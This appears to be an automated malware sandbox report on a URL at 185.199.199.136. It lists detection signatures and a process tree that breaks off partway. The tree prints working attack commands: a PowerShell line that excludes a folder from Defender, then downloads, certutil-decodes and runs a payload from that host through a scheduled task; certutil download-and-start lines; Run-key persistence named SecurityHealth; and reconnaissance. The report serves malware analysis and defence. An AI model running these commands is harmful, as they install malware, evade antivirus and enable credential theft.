Overview

overview

10

Static

static

1

URLScan

urlscan

1

http://185.199.199.1...

windows11-21h2-x64

10

Analysis

  • user interaction
    yes
  • max time kernel
    438s
  • max time network
    441s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    16/08/2026, 04:31

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    http://185.199.199.136:3000/
  • Sample260816-e5f4jazzf1
Score
10/10
defense_evasiondiscoveryevasionexecutionpersistenceransomwarespywarestealertrojan

Malware Config

Signatures

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 4 IoCs
    evasiontrojan
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Downloads MZ/PE file 31 IoCs
  • Manipulates Digital Signatures 1 TTPs 3 IoCs

    Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.

  • Executes dropped EXE 21 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 15 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

    Payload decoded via CertUtil.

    defense_evasion
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Discovers running processes 1 TTPs 5 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

    discovery
  • Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 4 IoCs

    When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

    defense_evasion
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Executes a command shell one-liner 1 TTPs 64 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 24 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Time Discovery 1 TTPs 3 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 58 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 11 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry class 64 IoCs
  • Modifies registry key 1 TTPs 15 IoCs
  • NTFS ADS 6 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 39 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 17 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://185.199.199.136:3000/
    1⤵
    • Enumerates system info in registry
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2208
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x244,0x248,0x24c,0x240,0x218,0x7ff8066fc188,0x7ff8066fc194,0x7ff8066fc1a0
      2⤵
        PID:2268
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1840,i,5298961411747796041,14685686295032096344,524288 --field-trial-handle=2080,i,4297709675461073175,2754979132644664583,262144 --variations-seed-version --mojo-platform-channel-handle=2168 /prefetch:11
        2⤵
        • Downloads MZ/PE file
        • System Time Discovery
        PID:3220
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1560,i,1401256125421639405,15332842289861802579,262144 --field-trial-handle=2080,i,4297709675461073175,2754979132644664583,262144 --variations-seed-version --mojo-platform-channel-handle=2076 /prefetch:2
        2⤵
          PID:3668
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2424,i,10800568980496967307,4925364808274961834,524288 --field-trial-handle=2080,i,4297709675461073175,2754979132644664583,262144 --variations-seed-version --mojo-platform-channel-handle=3144 /prefetch:13
          2⤵
            PID:4204
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3432,i,4335655062277715547,2955605732964624371,2097152 --field-trial-handle=2080,i,4297709675461073175,2754979132644664583,262144 --variations-seed-version --mojo-platform-channel-handle=3452 /prefetch:1
            2⤵
              PID:1184
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3448,i,3715168999535718015,3303245502425618844,2097152 --field-trial-handle=2080,i,4297709675461073175,2754979132644664583,262144 --variations-seed-version --mojo-platform-channel-handle=3464 /prefetch:1
              2⤵
                PID:900
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4128,i,6736684671933888193,678735443566881206,2097152 --field-trial-handle=2080,i,4297709675461073175,2754979132644664583,262144 --variations-seed-version --mojo-platform-channel-handle=4176 /prefetch:1
                2⤵
                  PID:936
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4148,i,7757733362742428860,5091911254461602448,2097152 --field-trial-handle=2080,i,4297709675461073175,2754979132644664583,262144 --variations-seed-version --mojo-platform-channel-handle=4180 /prefetch:9
                  2⤵
                    PID:2144
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4204,i,13452476933149571719,5012280168458860672,2097152 --field-trial-handle=2080,i,4297709675461073175,2754979132644664583,262144 --variations-seed-version --mojo-platform-channel-handle=4288 /prefetch:1
                    2⤵
                      PID:3152
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=4248,i,7255452487957336530,11244101279832898915,2097152 --field-trial-handle=2080,i,4297709675461073175,2754979132644664583,262144 --variations-seed-version --mojo-platform-channel-handle=4292 /prefetch:9
                      2⤵
                        PID:1512
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4412,i,4095756674166363465,7545324661064955870,524288 --field-trial-handle=2080,i,4297709675461073175,2754979132644664583,262144 --variations-seed-version --mojo-platform-channel-handle=4156 /prefetch:14
                        2⤵
                          PID:2468
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4408,i,4148532197614758312,9757742235181818145,524288 --field-trial-handle=2080,i,4297709675461073175,2754979132644664583,262144 --variations-seed-version --mojo-platform-channel-handle=5380 /prefetch:14
                          2⤵
                            PID:4548
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5904,i,18245547185896478035,5856161693147766123,524288 --field-trial-handle=2080,i,4297709675461073175,2754979132644664583,262144 --variations-seed-version --mojo-platform-channel-handle=6052 /prefetch:14
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2320
                            • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
                              cookie_exporter.exe --cookie-json=1140
                              3⤵
                                PID:1232
                            • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6192,i,13398922652132659833,17295833402632438075,524288 --field-trial-handle=2080,i,4297709675461073175,2754979132644664583,262144 --variations-seed-version --mojo-platform-channel-handle=6208 /prefetch:14
                              2⤵
                                PID:4624
                              • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6192,i,13398922652132659833,17295833402632438075,524288 --field-trial-handle=2080,i,4297709675461073175,2754979132644664583,262144 --variations-seed-version --mojo-platform-channel-handle=6208 /prefetch:14
                                2⤵
                                  PID:3204
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4836,i,12615429128318741395,17455666948751383215,524288 --field-trial-handle=2080,i,4297709675461073175,2754979132644664583,262144 --variations-seed-version --mojo-platform-channel-handle=4884 /prefetch:14
                                  2⤵
                                    PID:4156
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4892,i,13663294641885897956,7046744757256680624,524288 --field-trial-handle=2080,i,4297709675461073175,2754979132644664583,262144 --variations-seed-version --mojo-platform-channel-handle=4856 /prefetch:14
                                    2⤵
                                      PID:4892
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3408,i,13300391728421929352,12983800273328256449,524288 --field-trial-handle=2080,i,4297709675461073175,2754979132644664583,262144 --variations-seed-version --mojo-platform-channel-handle=4436 /prefetch:14
                                      2⤵
                                        PID:2356
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5840,i,2198827881946312259,18425168642194904832,524288 --field-trial-handle=2080,i,4297709675461073175,2754979132644664583,262144 --variations-seed-version --mojo-platform-channel-handle=4892 /prefetch:14
                                        2⤵
                                          PID:1664
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3504,i,12257754263250926381,222832687740135224,524288 --field-trial-handle=2080,i,4297709675461073175,2754979132644664583,262144 --variations-seed-version --mojo-platform-channel-handle=2800 /prefetch:14
                                          2⤵
                                            PID:3544
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --metrics-shmem-handle=5620,i,2884854085497549333,14856806113303618513,2097152 --field-trial-handle=2080,i,4297709675461073175,2754979132644664583,262144 --variations-seed-version --mojo-platform-channel-handle=5308 /prefetch:1
                                            2⤵
                                              PID:2420
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6840,i,17951067015358642966,2672113997836021569,524288 --field-trial-handle=2080,i,4297709675461073175,2754979132644664583,262144 --variations-seed-version --mojo-platform-channel-handle=2020 /prefetch:14
                                              2⤵
                                              • Subvert Trust Controls: Mark-of-the-Web Bypass
                                              • NTFS ADS
                                              PID:2068
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5512,i,8639158286253845179,12652281635250568172,262144 --field-trial-handle=2080,i,4297709675461073175,2754979132644664583,262144 --variations-seed-version --mojo-platform-channel-handle=4292 /prefetch:10
                                              2⤵
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:4012
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --metrics-shmem-handle=5528,i,2627546983731539638,4431623077635485575,2097152 --field-trial-handle=2080,i,4297709675461073175,2754979132644664583,262144 --variations-seed-version --mojo-platform-channel-handle=5392 /prefetch:1
                                              2⤵
                                                PID:3752
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5504,i,1739565759088833321,16927490261422780635,524288 --field-trial-handle=2080,i,4297709675461073175,2754979132644664583,262144 --variations-seed-version --mojo-platform-channel-handle=6872 /prefetch:14
                                                2⤵
                                                • NTFS ADS
                                                PID:3352
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6916,i,7748272833075220279,18239714759744521143,524288 --field-trial-handle=2080,i,4297709675461073175,2754979132644664583,262144 --variations-seed-version --mojo-platform-channel-handle=5372 /prefetch:14
                                                2⤵
                                                • NTFS ADS
                                                PID:940
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5448,i,12271678289774116499,5801923110372157149,524288 --field-trial-handle=2080,i,4297709675461073175,2754979132644664583,262144 --variations-seed-version --mojo-platform-channel-handle=6948 /prefetch:14
                                                2⤵
                                                • Subvert Trust Controls: Mark-of-the-Web Bypass
                                                • NTFS ADS
                                                PID:2876
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\agent_61b66c3000abd2a9.bat" "
                                                2⤵
                                                • Executes a command shell one-liner
                                                • Suspicious use of WriteProcessMemory
                                                PID:1392
                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  powershell -c "Add-MpPreference -ExclusionPath C:\Users\Public -EA 0; irm http://185.199.199.136/agent.cer -OutFile C:\Users\Public\a.cer; certutil -decode C:\Users\Public\a.cer C:\Users\Public\a.exe; schtasks /create /tn Z /tr C:\Users\Public\a.exe /sc once /st 00:00 /it /f; schtasks /run /tn Z; schtasks /delete /tn Z /f"
                                                  3⤵
                                                  • Badlisted process makes network request
                                                  • Command and Scripting Interpreter: PowerShell
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  • Suspicious use of WriteProcessMemory
                                                  PID:956
                                                  • C:\Windows\system32\certutil.exe
                                                    "C:\Windows\system32\certutil.exe" -decode C:\Users\Public\a.cer C:\Users\Public\a.exe
                                                    4⤵
                                                    • Deobfuscate/Decode Files or Information
                                                    PID:3172
                                                  • C:\Windows\system32\schtasks.exe
                                                    "C:\Windows\system32\schtasks.exe" /create /tn Z /tr C:\Users\Public\a.exe /sc once /st 00:00 /it /f
                                                    4⤵
                                                    • Scheduled Task/Job: Scheduled Task
                                                    PID:1420
                                                  • C:\Windows\system32\schtasks.exe
                                                    "C:\Windows\system32\schtasks.exe" /run /tn Z
                                                    4⤵
                                                      PID:4120
                                                    • C:\Windows\system32\schtasks.exe
                                                      "C:\Windows\system32\schtasks.exe" /delete /tn Z /f
                                                      4⤵
                                                        PID:4240
                                                  • C:\Users\Admin\Downloads\agent_abe6b8bf85763a6b.exe
                                                    "C:\Users\Admin\Downloads\agent_abe6b8bf85763a6b.exe"
                                                    2⤵
                                                    • Executes dropped EXE
                                                    • System Location Discovery: System Language Discovery
                                                    • Suspicious use of WriteProcessMemory
                                                    PID:1940
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SecurityHealth /t REG_SZ /d C:\Users\Admin\Downloads\agent_abe6b8bf85763a6b.exe /f
                                                      3⤵
                                                      • Adds Run key to start application
                                                      • System Location Discovery: System Language Discovery
                                                      • Modifies registry key
                                                      PID:5044
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      "cmd" /C "certutil -urlcache -split -f http://185.199.199.136/agent.exe C:\Users\Public\agent.exe && start C:\Users\Public\agent.exe"
                                                      3⤵
                                                      • Executes a command shell one-liner
                                                      • System Location Discovery: System Language Discovery
                                                      PID:5916
                                                      • C:\Windows\SysWOW64\certutil.exe
                                                        certutil -urlcache -split -f http://185.199.199.136/agent.exe C:\Users\Public\agent.exe
                                                        4⤵
                                                        • Downloads MZ/PE file
                                                        • Manipulates Digital Signatures
                                                        • System Location Discovery: System Language Discovery
                                                        PID:5832
                                                      • C:\Users\Public\agent.exe
                                                        C:\Users\Public\agent.exe
                                                        4⤵
                                                        • Executes dropped EXE
                                                        PID:4676
                                                        • C:\Windows\system32\reg.exe
                                                          "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SecurityHealth /t REG_SZ /d C:\Users\Public\agent.exe /f
                                                          5⤵
                                                          • Adds Run key to start application
                                                          • Modifies registry key
                                                          PID:5232
                                                        • C:\Windows\system32\cmd.exe
                                                          "cmd" /C "certutil -urlcache -split -f http://185.199.199.136/agent.exe C:\Users\Public\agent.exe && start C:\Users\Public\agent.exe"
                                                          5⤵
                                                          • Executes a command shell one-liner
                                                          PID:6552
                                                          • C:\Windows\system32\certutil.exe
                                                            certutil -urlcache -split -f http://185.199.199.136/agent.exe C:\Users\Public\agent.exe
                                                            6⤵
                                                            • Downloads MZ/PE file
                                                            PID:6596
                                                          • C:\Users\Public\agent.exe
                                                            C:\Users\Public\agent.exe
                                                            6⤵
                                                            • Executes dropped EXE
                                                            PID:6656
                                                            • C:\Windows\system32\reg.exe
                                                              "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SecurityHealth /t REG_SZ /d C:\Users\Public\agent.exe /f
                                                              7⤵
                                                              • Adds Run key to start application
                                                              • Modifies registry key
                                                              PID:6700
                                                            • C:\Windows\system32\cmd.exe
                                                              "cmd" /C "net user"
                                                              7⤵
                                                              • Executes a command shell one-liner
                                                              PID:5840
                                                              • C:\Windows\system32\net.exe
                                                                net user
                                                                8⤵
                                                                  PID:6280
                                                                  • C:\Windows\system32\net1.exe
                                                                    C:\Windows\system32\net1 user
                                                                    9⤵
                                                                      PID:3952
                                                                • C:\Windows\system32\cmd.exe
                                                                  "cmd" /C whoami
                                                                  7⤵
                                                                  • Executes a command shell one-liner
                                                                  PID:5868
                                                                  • C:\Windows\system32\whoami.exe
                                                                    whoami
                                                                    8⤵
                                                                      PID:5244
                                                                  • C:\Windows\system32\cmd.exe
                                                                    "cmd" /C "net user"
                                                                    7⤵
                                                                    • Executes a command shell one-liner
                                                                    PID:6252
                                                                    • C:\Windows\system32\net.exe
                                                                      net user
                                                                      8⤵
                                                                        PID:6840
                                                                        • C:\Windows\system32\net1.exe
                                                                          C:\Windows\system32\net1 user
                                                                          9⤵
                                                                            PID:6892
                                                                      • C:\Windows\system32\cmd.exe
                                                                        "cmd" /C "net user"
                                                                        7⤵
                                                                          PID:6340
                                                                          • C:\Windows\system32\net.exe
                                                                            net user
                                                                            8⤵
                                                                              PID:7028
                                                                              • C:\Windows\system32\net1.exe
                                                                                C:\Windows\system32\net1 user
                                                                                9⤵
                                                                                  PID:7064
                                                                            • C:\Windows\system32\cmd.exe
                                                                              "cmd" /C "net user"
                                                                              7⤵
                                                                              • Executes a command shell one-liner
                                                                              PID:6472
                                                                              • C:\Windows\system32\net.exe
                                                                                net user
                                                                                8⤵
                                                                                  PID:7144
                                                                                  • C:\Windows\system32\net1.exe
                                                                                    C:\Windows\system32\net1 user
                                                                                    9⤵
                                                                                      PID:6156
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  "cmd" /C "net user"
                                                                                  7⤵
                                                                                  • Executes a command shell one-liner
                                                                                  PID:7148
                                                                                  • C:\Windows\system32\net.exe
                                                                                    net user
                                                                                    8⤵
                                                                                      PID:552
                                                                                      • C:\Windows\system32\net1.exe
                                                                                        C:\Windows\system32\net1 user
                                                                                        9⤵
                                                                                          PID:5632
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      "cmd" /C tasklist
                                                                                      7⤵
                                                                                      • Executes a command shell one-liner
                                                                                      PID:5704
                                                                                      • C:\Windows\system32\tasklist.exe
                                                                                        tasklist
                                                                                        8⤵
                                                                                        • Discovers running processes
                                                                                        PID:6348
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      "cmd" /C tasklist
                                                                                      7⤵
                                                                                      • Executes a command shell one-liner
                                                                                      PID:6804
                                                                                      • C:\Windows\system32\tasklist.exe
                                                                                        tasklist
                                                                                        8⤵
                                                                                        • Discovers running processes
                                                                                        PID:3584
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      "cmd" /C whoami
                                                                                      7⤵
                                                                                      • Executes a command shell one-liner
                                                                                      PID:5988
                                                                                      • C:\Windows\system32\whoami.exe
                                                                                        whoami
                                                                                        8⤵
                                                                                          PID:5184
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        "cmd" /C "net user"
                                                                                        7⤵
                                                                                        • Executes a command shell one-liner
                                                                                        PID:7024
                                                                                        • C:\Windows\system32\net.exe
                                                                                          net user
                                                                                          8⤵
                                                                                            PID:5168
                                                                                            • C:\Windows\system32\net1.exe
                                                                                              C:\Windows\system32\net1 user
                                                                                              9⤵
                                                                                                PID:5756
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            "cmd" /C "net user"
                                                                                            7⤵
                                                                                            • Executes a command shell one-liner
                                                                                            PID:1080
                                                                                            • C:\Windows\system32\net.exe
                                                                                              net user
                                                                                              8⤵
                                                                                                PID:6196
                                                                                                • C:\Windows\system32\net1.exe
                                                                                                  C:\Windows\system32\net1 user
                                                                                                  9⤵
                                                                                                    PID:6460
                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                "cmd" /C "net user"
                                                                                                7⤵
                                                                                                • Executes a command shell one-liner
                                                                                                PID:6360
                                                                                                • C:\Windows\system32\net.exe
                                                                                                  net user
                                                                                                  8⤵
                                                                                                    PID:6720
                                                                                                    • C:\Windows\system32\net1.exe
